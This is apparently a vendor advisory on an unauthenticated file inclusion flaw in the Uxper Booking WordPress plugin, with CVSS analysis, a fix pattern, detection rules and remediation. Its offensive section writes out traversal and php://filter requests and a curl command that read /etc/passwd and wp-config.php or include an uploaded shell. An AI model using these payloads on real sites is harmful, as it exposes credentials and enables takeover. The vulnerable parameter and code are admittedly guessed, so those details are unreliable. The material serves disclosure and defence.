CVE-2025-49892

Executive Summary

CVE-2025-49892 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Uxper Booking WordPress plugin, versions up to and including 1.3.3. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score of 8.1 (High) reflects the ease of exploitation and high confidentiality impact. No public proof-of-concept or patch is currently available, making this a high-priority unpatched threat for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Uxper Booking plugin is distributed via the WordPress plugin repository and third-party marketplaces. Since no patch is available, users must consider removing or disabling the plugin immediately. The lack of an official fix increases the risk of supply chain attacks, as malicious actors could exploit this LFI to inject backdoors or exfiltrate sensitive data from affected WordPress installations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – Cannot modify files directly.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a serious threat for unpatched WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the uxper-booking plugin's PHP code, where user-supplied input is used to construct a file path for an include() or require() statement without proper sanitization. Specifically, the plugin likely processes a GET or POST parameter (e.g., page, template, or file) that is directly concatenated into a file inclusion function. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem using path traversal sequences like ../../.

For example, if the vulnerable code is:

include($_GET['template'] . '.php');

An attacker could send:

?template=../../../etc/passwd

This would attempt to include /etc/passwd.php, but due to PHP's behavior, the .php extension may be appended. However, with null byte injection (deprecated in PHP 5.3+) or by using wrapper protocols like php://filter, the attacker can bypass extension restrictions. The most common technique is to use php://filter/convert.base64-encode/resource=../../../etc/passwd to read file contents without execution.

The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), though in this case it is limited to local file inclusion (LFI) as the plugin does not allow remote URLs.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable implementation might look like:

Vulnerable Code (uxper-booking <= 1.3.3):

$template = $_GET['template'];
include(plugin_dir_path(__FILE__) . 'templates/' . $template . '.php');

Patched Code (hypothetical):

$allowed_templates = array('booking-form', 'calendar', 'details');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include(plugin_dir_path(__FILE__) . 'templates/' . $template . '.php');
} else {
    // Handle error
}

The patched version would use a whitelist of allowed template names, preventing any path traversal or arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Uxper Booking plugin version <= 1.3.3 installed and activated.
• Knowledge of the vulnerable parameter (likely template, page, or file).

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web scanner or manually inspect the plugin's source code to find the parameter used in include/require statements. Common parameters include template, page, file, or view.

2. Test for LFI: Send a request with a path traversal payload:

   GET /wp-content/plugins/uxper-booking/?template=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. Bypass extension restrictions: If the code appends .php, use PHP wrappers:

   GET /wp-content/plugins/uxper-booking/?template=php://filter/convert.base64-encode/resource=../../../etc/passwd HTTP/1.1
   

4. Read sensitive files: Target files like wp-config.php to obtain database credentials:

   GET /wp-content/plugins/uxper-booking/?template=php://filter/convert.base64-encode/resource=../../../wp-config HTTP/1.1
   

5. Achieve RCE (if possible): If file upload is enabled elsewhere, include the uploaded malicious PHP file:

   GET /wp-content/plugins/uxper-booking/?template=../../../wp-content/uploads/2025/01/shell HTTP/1.1
   

Example curl command:

curl -v "http://target.com/wp-content/plugins/uxper-booking/?template=php://filter/convert.base64-encode/resource=../../../etc/passwd"

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious GET requests containing ../, php://filter, or base64 in query parameters targeting the plugin's directory.

2. Deploy WAF rules to block path traversal patterns in query strings.

3. Check for file inclusion attempts using the following Sigma rule.

Indicators of Compromise (IOCs)

• URL Patterns:

  • /wp-content/plugins/uxper-booking/?template=php://filter/
  • /wp-content/plugins/uxper-booking/?template=../../../
  • /wp-content/plugins/uxper-booking/?page=../../

• Log Entries:

  • GET /wp-content/plugins/uxper-booking/?template=php://filter/convert.base64-encode/resource=../../../etc/passwd
  • GET /wp-content/plugins/uxper-booking/?template=../../../wp-config.php

• File Access:

  • Unauthorized access to /etc/passwd, /etc/shadow, wp-config.php, or other sensitive files.

• Network Indicators:

  • Outbound connections from the web server to unknown IPs (if RCE is achieved).

Detection Engineering

YARA Rule

rule CVE_2025_49892_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting Uxper Booking plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-49892"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $php_wrapper = /php:\/\/filter/
        $base64_encode = /convert\.base64-encode/
        $plugin_path = /uxper-booking/
    condition:
        any of ($path_traversal, $php_wrapper, $base64_encode) and $plugin_path
}

Sigma Rule

title: CVE-2025-49892 LFI Attempt on Uxper Booking Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal or PHP wrapper usage in requests to Uxper Booking plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'uxper-booking/'
            - 'php://filter'
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of PHP wrappers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49892 LFI Attempt on Uxper Booking Plugin"; flow:to_server,established; content:"uxper-booking"; http_uri; content:"php://filter"; http_uri; nocase; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Uxper Booking plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block path traversal and PHP wrapper usage in query strings.
3. Restrict file permissions on sensitive files like wp-config.php to prevent reading by the web server user.

Long-term Fix:

• The vendor must release a patched version that uses a whitelist of allowed template names and validates input strictly.
• Consider using a security plugin like Wordfence to monitor for file inclusion attempts.

Workaround:

• If the plugin is critical, modify the source code to add input validation (e.g., whitelist allowed templates) and disable direct access to the vulnerable file via .htaccess:

  <Files "vulnerable-file.php">
      Order Allow,Deny
      Deny from all
  </Files>
  

Valters IT
Securing Digital Frontiers